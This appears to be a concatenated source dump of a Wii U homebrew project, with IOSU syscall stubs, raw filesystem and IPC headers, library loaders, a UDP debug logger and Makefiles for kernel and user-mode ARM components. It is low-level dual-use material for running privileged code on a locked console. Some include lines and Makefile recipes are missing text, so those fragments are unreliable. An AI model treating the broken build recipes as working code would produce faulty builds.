FSDirEntry; 55 | 56 | 57 | #ifdef __cplusplus 58 | } 59 | #endif 60 | 61 | #endif /* FS_DEFS_H */ 62 | 63 | -------------------------------------------------------------------------------- /wupserver/source/ipc_types.h: -------------------------------------------------------------------------------- 1 | #ifndef _IPC_TYPES_H_ 2 | #define _IPC_TYPES_H_ 3 | 4 | #include "types.h" 5 | 6 | #define IOS_COMMAND_INVALID 0x00 7 | #define IOS_OPEN 0x01 8 | #define IOS_CLOSE 0x02 9 | #define IOS_READ 0x03 10 | #define IOS_WRITE 0x04 11 | #define IOS_SEEK 0x05 12 | #define IOS_IOCTL 0x06 13 | #define IOS_IOCTLV 0x07 14 | #define IOS_REPLY 0x08 15 | #define IOS_IPC_MSG0 0x09 16 | #define IOS_IPC_MSG1 0x0A 17 | #define IOS_IPC_MSG2 0x0B 18 | #define IOS_SUSPEND 0x0C 19 | #define IOS_RESUME 0x0D 20 | #define IOS_SVCMSG 0x0E 21 | 22 | 23 | /* IPC message */ 24 | typedef struct ipcmessage 25 | { 26 | u32 command; 27 | u32 result; 28 | u32 fd; 29 | u32 flags; 30 | u32 client_cpu; 31 | u32 client_pid; 32 | u64 client_gid; 33 | u32 server_handle; 34 | 35 | union 36 | { 37 | u32 args[5]; 38 | 39 | struct 40 | { 41 | char *device; 42 | u32 mode; 43 | u32 resultfd; 44 | } open; 45 | 46 | struct 47 | { 48 | void *data; 49 | u32 length; 50 | } read, write; 51 | 52 | struct 53 | { 54 | s32 offset; 55 | s32 origin; 56 | } seek; 57 | 58 | struct 59 | { 60 | u32 command; 61 | 62 | u32 *buffer_in; 63 | u32 length_in; 64 | u32 *buffer_io; 65 | u32 length_io; 66 | } ioctl; 67 | struct _ioctlv 68 | { 69 | u32 command; 70 | 71 | u32 num_in; 72 | u32 num_io; 73 | struct _ioctlv *vector; 74 | } ioctlv; 75 | }; 76 | 77 | u32 prev_command; 78 | u32 prev_fd; 79 | u32 virt0; 80 | u32 virt1; 81 | } __attribute__((packed)) ipcmessage; 82 | 83 | #endif 84 | -------------------------------------------------------------------------------- /src/dynamic_libs/sys_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "os_functions.h" 25 | 26 | EXPORT_DECL(void, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); 27 | EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); 28 | EXPORT_DECL(int, SYSLaunchMenu, void); 29 | 30 | void InitSysFunctionPointers(void) 31 | { 32 | unsigned int *funcPointer = 0; 33 | unsigned int sysapp_handle; 34 | OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); 35 | 36 | OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); 37 | OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); 38 | OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); 39 | } 40 | 41 | -------------------------------------------------------------------------------- /src/utils/logger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "common/common.h" 7 | #include "dynamic_libs/os_functions.h" 8 | #include "dynamic_libs/socket_functions.h" 9 | #include "logger.h" 10 | 11 | #ifdef DEBUG_LOGGER 12 | static int log_socket = -1; 13 | static volatile int log_lock = 0; 14 | 15 | 16 | void log_init(const char * ipString) 17 | { 18 | log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 19 | if (log_socket < 0) 20 | return; 21 | 22 | struct sockaddr_in connect_addr; 23 | memset(&connect_addr, 0, sizeof(connect_addr)); 24 | connect_addr.sin_family = AF_INET; 25 | connect_addr.sin_port = 4405; 26 | inet_aton(ipString, &connect_addr.sin_addr); 27 | 28 | if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) 29 | { 30 | socketclose(log_socket); 31 | log_socket = -1; 32 | } 33 | } 34 | 35 | void log_deinit(void) 36 | { 37 | if(log_socket >= 0) 38 | { 39 | socketclose(log_socket); 40 | log_socket = -1; 41 | } 42 | } 43 | 44 | void log_print(const char *str) 45 | { 46 | // socket is always 0 initially as it is in the BSS 47 | if(log_socket < 0) { 48 | return; 49 | } 50 | 51 | while(log_lock) 52 | usleep(1000); 53 | log_lock = 1; 54 | 55 | int len = strlen(str); 56 | int ret; 57 | while (len > 0) { 58 | int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet 59 | ret = send(log_socket, str, block, 0); 60 | if(ret < 0) 61 | break; 62 | 63 | len -= ret; 64 | str += ret; 65 | } 66 | 67 | log_lock = 0; 68 | } 69 | 70 | void log_printf(const char *format, ...) 71 | { 72 | if(log_socket < 0) { 73 | return; 74 | } 75 | 76 | char * tmp = NULL; 77 | 78 | va_list va; 79 | va_start(va, format); 80 | if((vasprintf(&tmp, format, va) >= 0) && tmp) 81 | { 82 | log_print(tmp); 83 | } 84 | va_end(va); 85 | 86 | if(tmp) 87 | free(tmp); 88 | } 89 | #endif 90 | -------------------------------------------------------------------------------- /src/utils/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __UTILS_H_ 2 | #define __UTILS_H_ 3 | 4 | #include 5 | #include "../common/types.h" 6 | 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | 11 | #define FlushBlock(addr) asm volatile("dcbf %0, %1\n" \ 12 | "icbi %0, %1\n" \ 13 | "sync\n" \ 14 | "eieio\n" \ 15 | "isync\n" \ 16 | : \ 17 | :"r"(0), "r"(((addr) & ~31)) \ 18 | :"memory", "ctr", "lr", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" \ 19 | ); 20 | 21 | #define LIMIT(x, min, max) \ 22 | ({ \ 23 | typeof( x ) _x = x; \ 24 | typeof( min ) _min = min; \ 25 | typeof( max ) _max = max; \ 26 | ( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \ 27 | }) 28 | 29 | #define DegToRad(a) ( (a) * 0.01745329252f ) 30 | #define RadToDeg(a) ( (a) * 57.29577951f ) 31 | 32 | #define ALIGN4(x) (((x) + 3) & ~3) 33 | #define ALIGN32(x) (((x) + 31) & ~31) 34 | 35 | // those work only in powers of 2 36 | #define ROUNDDOWN(val, align) ((val) & ~(align-1)) 37 | #define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align) 38 | 39 | #define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8))) 40 | #define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) 41 | #define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) 42 | 43 | #ifdef __cplusplus 44 | } 45 | #endif 46 | 47 | #endif // __UTILS_H_ 48 | -------------------------------------------------------------------------------- /wupserver/source/svc.s: -------------------------------------------------------------------------------- 1 | .section ".text" 2 | .arm 3 | .align 4 4 | 5 | .global svcCreateThread 6 | .type svcCreateThread, %function 7 | svcCreateThread: 8 | .word 0xE7F000F0 9 | bx lr 10 | 11 | .global svcStartThread 12 | .type svcStartThread, %function 13 | svcStartThread: 14 | .word 0xE7F007F0 15 | bx lr 16 | 17 | .global svcCreateMessageQueue 18 | .type svcCreateMessageQueue, %function 19 | svcCreateMessageQueue: 20 | .word 0xE7F00CF0 21 | bx lr 22 | 23 | .global svcReceiveMessage 24 | .type svcReceiveMessage, %function 25 | svcReceiveMessage: 26 | .word 0xE7F010F0 27 | bx lr 28 | 29 | .global svcAlloc 30 | .type svcAlloc, %function 31 | svcAlloc: 32 | .word 0xE7F027F0 33 | bx lr 34 | 35 | .global svcAllocAlign 36 | .type svcAllocAlign, %function 37 | svcAllocAlign: 38 | .word 0xE7F028F0 39 | bx lr 40 | 41 | .global svcFree 42 | .type svcFree, %function 43 | svcFree: 44 | .word 0xE7F029F0 45 | bx lr 46 | 47 | .global svcRegisterResourceManager 48 | .type svcRegisterResourceManager, %function 49 | svcRegisterResourceManager: 50 | .word 0xE7F02CF0 51 | bx lr 52 | 53 | .global svcOpen 54 | .type svcOpen, %function 55 | svcOpen: 56 | .word 0xE7F033F0 57 | bx lr 58 | 59 | .global svcClose 60 | .type svcClose, %function 61 | svcClose: 62 | .word 0xE7F034F0 63 | bx lr 64 | 65 | .global svcIoctl 66 | .type svcIoctl, %function 67 | svcIoctl: 68 | .word 0xE7F038F0 69 | bx lr 70 | 71 | .global svcIoctlv 72 | .type svcIoctlv, %function 73 | svcIoctlv: 74 | .word 0xE7F039F0 75 | bx lr 76 | 77 | .global svcResourceReply 78 | .type svcResourceReply, %function 79 | svcResourceReply: 80 | .word 0xE7F049F0 81 | bx lr 82 | 83 | .global svcInvalidateDCache 84 | .type svcInvalidateDCache, %function 85 | svcInvalidateDCache: 86 | .word 0xE7F051F0 87 | bx lr 88 | 89 | .global svcFlushDCache 90 | .type svcFlushDCache, %function 91 | svcFlushDCache: 92 | .word 0xE7F052F0 93 | bx lr 94 | 95 | .global svcRead32 96 | .type svcRead32, %function 97 | svcRead32: 98 | .word 0xE7F081F0 99 | bx lr 100 | -------------------------------------------------------------------------------- /src/dynamic_libs/padscore_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "os_functions.h" 25 | #include "padscore_functions.h" 26 | 27 | EXPORT_DECL(void, KPADInit, void); 28 | EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type); 29 | EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format); 30 | EXPORT_DECL(void, WPADEnableURCC, s32 enable); 31 | EXPORT_DECL(void, WPADRead, s32 chan, void * data); 32 | EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); 33 | 34 | void InitPadScoreFunctionPointers(void) 35 | { 36 | unsigned int *funcPointer = 0; 37 | unsigned int padscore_handle; 38 | OSDynLoad_Acquire("padscore.rpl", &padscore_handle); 39 | 40 | OS_FIND_EXPORT(padscore_handle, KPADInit); 41 | OS_FIND_EXPORT(padscore_handle, WPADProbe); 42 | OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat); 43 | OS_FIND_EXPORT(padscore_handle, WPADEnableURCC); 44 | OS_FIND_EXPORT(padscore_handle, WPADRead); 45 | OS_FIND_EXPORT(padscore_handle, KPADRead); 46 | 47 | KPADInit(); 48 | WPADEnableURCC(1); 49 | } 50 | 51 | -------------------------------------------------------------------------------- /wupserver/source/fsa.h: -------------------------------------------------------------------------------- 1 | #ifndef FSA_H 2 | #define FSA_H 3 | 4 | typedef struct 5 | { 6 | u32 flag; 7 | u32 permission; 8 | u32 owner_id; 9 | u32 group_id; 10 | u32 size; // size in bytes 11 | u32 physsize; // physical size on disk in bytes 12 | u32 unk[3]; 13 | u32 id; 14 | u32 ctime; 15 | u32 mtime; 16 | u32 unk2[0x0D]; 17 | }fileStat_s; 18 | 19 | typedef struct 20 | { 21 | fileStat_s stat; 22 | char name[0x100]; 23 | }directoryEntry_s; 24 | 25 | #define DIR_ENTRY_IS_DIRECTORY 0x80000000 26 | 27 | #define FSA_MOUNTFLAGS_BINDMOUNT (1 << 0) 28 | #define FSA_MOUNTFLAGS_GLOBAL (1 << 1) 29 | 30 | int FSA_Open(); 31 | 32 | int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); 33 | int FSA_Unmount(int fd, char* path, u32 flags); 34 | int FSA_FlushVolume(int fd, char* volume_path); 35 | 36 | int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); 37 | 38 | int FSA_MakeDir(int fd, char* path, u32 flags); 39 | int FSA_OpenDir(int fd, char* path, int* outHandle); 40 | int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data); 41 | int FSA_RewindDir(int fd, int handle); 42 | int FSA_CloseDir(int fd, int handle); 43 | int FSA_ChangeDir(int fd, char* path); 44 | 45 | int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); 46 | int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); 47 | int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); 48 | int FSA_StatFile(int fd, int handle, fileStat_s* out_data); 49 | int FSA_CloseFile(int fd, int fileHandle); 50 | int FSA_SetPosFile(int fd, int fileHandle, u32 position); 51 | int FSA_GetStat(int fd, char *path, fileStat_s* out_data); 52 | int FSA_Remove(int fd, char *path); 53 | int FSA_ChangeMode(int fd, char *path, int mode); 54 | 55 | int FSA_RawOpen(int fd, char* device_path, int* outHandle); 56 | int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); 57 | int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); 58 | int FSA_RawClose(int fd, int device_handle); 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /src/dynamic_libs/ax_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __AX_FUNCTIONS_H_ 25 | #define __AX_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | #include 32 | 33 | void InitAXFunctionPointers(void); 34 | 35 | extern void (* AXInitWithParams)(u32 * params); 36 | extern void (* AXQuit)(void); 37 | extern u32 (* AXGetInputSamplesPerSec)(void); 38 | extern s32 (* AXVoiceBegin)(void *v); 39 | extern s32 (* AXVoiceEnd)(void *v); 40 | extern void (* AXSetVoiceType)(void *v, u16 type); 41 | extern void (* AXSetVoiceOffsets)(void *v, const void *buf); 42 | extern void (* AXSetVoiceSrcType)(void *v, u32 type); 43 | extern void (* AXSetVoiceVe)(void *v, const void *vol); 44 | extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); 45 | extern void (* AXSetVoiceState)(void *v, u16 state); 46 | extern void (* AXSetVoiceSrc)(void *v, const void *src); 47 | extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); 48 | extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); 49 | extern void (* AXFreeVoice)(void *v); 50 | extern void (* AXRegisterFrameCallback)(void * callback); 51 | extern u32 (* AXGetVoiceLoopCount)(void * v); 52 | extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); 53 | extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); 54 | 55 | #ifdef __cplusplus 56 | } 57 | #endif 58 | 59 | #endif // __VPAD_FUNCTIONS_H_ 60 | -------------------------------------------------------------------------------- /arm_kernel/Makefile: -------------------------------------------------------------------------------- 1 | ifeq ($(strip $(DEVKITARM)),) 2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 3 | endif 4 | 5 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 6 | export PATH:=$(DEVKITARM)/bin:$(PATH) 7 | endif 8 | 9 | CC = arm-none-eabi-gcc 10 | # LINK = arm-none-eabi-gcc 11 | LINK = arm-none-eabi-ld 12 | AS = arm-none-eabi-as 13 | OBJCOPY = arm-none-eabi-objcopy 14 | CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5t -Os -I$(DEVKITPRO)/libnds/include 15 | LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" 16 | 17 | CFILES = $(wildcard source/*.c) 18 | BINFILES = $(wildcard data/*.bin) 19 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o) 20 | OFILES += $(CFILES:source/%.c=build/%.o) 21 | DFILES = $(CFILES:source/%.c=build/%.d) 22 | SFILES = $(wildcard source/*.s) 23 | OFILES += $(SFILES:source/%.s=build/%.o) 24 | PROJECTNAME = ${shell basename "$(CURDIR)"} 25 | CWD = "$(CURDIR)"" 26 | 27 | #--------------------------------------------------------------------------------- 28 | # canned command sequence for binary data, taken from devkitARM 29 | #--------------------------------------------------------------------------------- 30 | define bin2o 31 | bin2s $< | $(AS) -o $(@) 32 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ 50 | 51 | $(PROJECTNAME).elf: $(OFILES) 52 | $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) 53 | 54 | clean: 55 | @rm -f build/*.o build/*.d 56 | @rmdir build 2>/nul; true 57 | @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h 58 | @echo "all cleaned up !" 59 | 60 | -include $(DFILES) 61 | 62 | build/%.o: source/%.c 63 | $(CC) $(CFLAGS) -c $< -o $@ 64 | @$(CC) -MM $< > build/$*.d 65 | 66 | build/%.o: source/%.s 67 | $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ 68 | @$(CC) -MM $< > build/$*.d 69 | 70 | build/%.bin.o: data/%.bin 71 | @echo $(notdir $<) 72 | @$(bin2o) 73 | -------------------------------------------------------------------------------- /arm_user/Makefile: -------------------------------------------------------------------------------- 1 | ifeq ($(strip $(DEVKITARM)),) 2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 3 | endif 4 | 5 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 6 | export PATH:=$(DEVKITARM)/bin:$(PATH) 7 | endif 8 | 9 | CC = arm-none-eabi-gcc 10 | # LINK = arm-none-eabi-gcc 11 | LINK = arm-none-eabi-ld 12 | AS = arm-none-eabi-as 13 | OBJCOPY = arm-none-eabi-objcopy 14 | CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5t -Os -I$(DEVKITPRO)/libnds/include 15 | LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" 16 | 17 | CFILES = $(wildcard source/*.c) 18 | BINFILES = $(wildcard data/*.bin) 19 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o) 20 | OFILES += $(CFILES:source/%.c=build/%.o) 21 | DFILES = $(CFILES:source/%.c=build/%.d) 22 | SFILES = $(wildcard source/*.s) 23 | OFILES += $(SFILES:source/%.s=build/%.o) 24 | PROJECTNAME = ${shell basename "$(CURDIR)"} 25 | CWD = "$(CURDIR)"" 26 | 27 | #--------------------------------------------------------------------------------- 28 | # canned command sequence for binary data, taken from devkitARM 29 | #--------------------------------------------------------------------------------- 30 | define bin2o 31 | bin2s $< | $(AS) -o $(@) 32 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ 50 | 51 | $(PROJECTNAME).elf: $(OFILES) 52 | $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) 53 | 54 | clean: 55 | @rm -f build/*.o build/*.d 56 | @rmdir build 2>/nul; true 57 | @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h 58 | @echo "all cleaned up !" 59 | 60 | -include $(DFILES) 61 | 62 | build/%.o: source/%.c 63 | $(CC) $(CFLAGS) -c $< -o $@ 64 | @$(CC) -MM $< > build/$*.d 65 | 66 | build/%.o: source/%.s 67 | $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ 68 | @$(CC) -MM $< > build/$*.d 69 | 70 | build/%.bin.o: data/%.bin 71 | @echo $(notdir $<) 72 | @$(bin2o) 73 | -------------------------------------------------------------------------------- /wupserver/Makefile: -------------------------------------------------------------------------------- 1 | ifeq ($(strip $(DEVKITARM)),) 2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 3 | endif 4 | 5 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 6 | export PATH:=$(DEVKITARM)/bin:$(PATH) 7 | endif 8 | 9 | CC = arm-none-eabi-gcc 10 | # LINK = arm-none-eabi-gcc 11 | LINK = arm-none-eabi-ld 12 | AS = arm-none-eabi-as 13 | OBJCOPY = arm-none-eabi-objcopy 14 | CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include 15 | LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" 16 | 17 | CFILES = $(wildcard source/*.c) 18 | BINFILES = $(wildcard data/*.*) 19 | OFILES = $(CFILES:source/%.c=build/%.o) 20 | DFILES = $(CFILES:source/%.c=build/%.d) 21 | SFILES = $(wildcard source/*.s) 22 | OFILES += $(SFILES:source/%.s=build/%.o) 23 | OFILES += $(BINFILES:data/%=build/%.o) 24 | PROJECTNAME = ${shell basename "$(CURDIR)"} 25 | CWD = "$(CURDIR)"" 26 | 27 | #--------------------------------------------------------------------------------- 28 | # canned command sequence for binary data, taken from devkitARM 29 | #--------------------------------------------------------------------------------- 30 | define bin2o 31 | bin2s $< | $(AS) -o $(@) 32 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ 50 | 51 | $(PROJECTNAME).elf: $(OFILES) 52 | $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) libgcc.a 53 | 54 | clean: 55 | @rm -f build/*.o build/*.d 56 | @rmdir build 2>/nul; true 57 | @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h 58 | @echo "all cleaned up !" 59 | 60 | -include $(DFILES) 61 | 62 | build/%.o: source/%.c 63 | $(CC) $(CFLAGS) -c $< -o $@ 64 | @$(CC) -MM $< > build/$*.d 65 | 66 | build/%.o: source/%.s 67 | $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ 68 | @$(CC) -MM $< > build/$*.d 69 | 70 | build/%.bin.o: data/%.bin 71 | @echo $(notdir $<) 72 | @$(bin2o) 73 | 74 | build/%.tga.o: data/%.tga 75 | @echo $(notdir $<) 76 | @$(bin2o) 77 | -------------------------------------------------------------------------------- /src/dynamic_libs/socket_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __SOCKET_FUNCTIONS_H_ 25 | #define __SOCKET_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | #include 32 | 33 | #define INADDR_ANY 0 34 | 35 | #define AF_INET 2 36 | 37 | #define SOCK_STREAM 1 38 | #define SOCK_DGRAM 2 39 | 40 | #define IPPROTO_IP 0 41 | #define IPPROTO_TCP 6 42 | #define IPPROTO_UDP 17 43 | 44 | #define TCP_NODELAY 0x2004 45 | 46 | #define SOL_SOCKET -1 47 | #define SO_REUSEADDR 0x0004 48 | #define SO_NONBLOCK 0x1016 49 | #define SO_MYADDR 0x1013 50 | 51 | #define ENODATA 1 52 | #define EISCONN 3 53 | #define EWOULDBLOCK 6 54 | #define EALREADY 10 55 | #define EAGAIN EWOULDBLOCK 56 | #define EINVAL 11 57 | #define ENOMEM 18 58 | #define EINPROGRESS 22 59 | 60 | #define htonl(x) x 61 | #define htons(x) x 62 | #define ntohl(x) x 63 | #define ntohs(x) x 64 | 65 | 66 | struct in_addr { 67 | unsigned int s_addr; 68 | }; 69 | struct sockaddr_in { 70 | short sin_family; 71 | unsigned short sin_port; 72 | struct in_addr sin_addr; 73 | char sin_zero[8]; 74 | }; 75 | 76 | struct sockaddr 77 | { 78 | unsigned short sa_family; 79 | char sa_data[14]; 80 | }; 81 | 82 | 83 | void InitSocketFunctionPointers(void); 84 | 85 | extern void (*socket_lib_init)(void); 86 | extern int (*socket)(int domain, int type, int protocol); 87 | extern int (*socketclose)(int s); 88 | extern int (*connect)(int s, void *addr, int addrlen); 89 | extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); 90 | extern int (*listen)(s32 s,u32 backlog); 91 | extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); 92 | extern int (*send)(int s, const void *buffer, int size, int flags); 93 | extern int (*recv)(int s, void *buffer, int size, int flags); 94 | extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); 95 | extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); 96 | 97 | extern char * (*inet_ntoa)(struct in_addr in); 98 | extern int (*inet_aton)(const char *cp, struct in_addr *inp); 99 | 100 | extern int (*socketlasterr)(void); 101 | 102 | #define geterrno() (socketlasterr()) 103 | 104 | #ifdef __cplusplus 105 | } 106 | #endif 107 | 108 | #endif // __SOCKET_FUNCTIONS_H_ 109 | -------------------------------------------------------------------------------- /src/dynamic_libs/ax_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "os_functions.h" 25 | #include "ax_functions.h" 26 | 27 | EXPORT_DECL(void, AXInitWithParams, u32 * params); 28 | EXPORT_DECL(void, AXQuit, void); 29 | EXPORT_DECL(u32, AXGetInputSamplesPerSec, void); 30 | EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void); 31 | EXPORT_DECL(s32, AXVoiceBegin, void *v); 32 | EXPORT_DECL(s32, AXVoiceEnd, void *v); 33 | EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type); 34 | EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf); 35 | EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type); 36 | EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol); 37 | EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix); 38 | EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state); 39 | EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src); 40 | EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio) 41 | EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg); 42 | EXPORT_DECL(void, AXFreeVoice, void *v); 43 | EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); 44 | EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); 45 | EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); 46 | EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); 47 | 48 | void InitAXFunctionPointers(void) 49 | { 50 | unsigned int *funcPointer = 0; 51 | unsigned int sound_handle; 52 | OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); 53 | 54 | OS_FIND_EXPORT(sound_handle, AXInitWithParams); 55 | 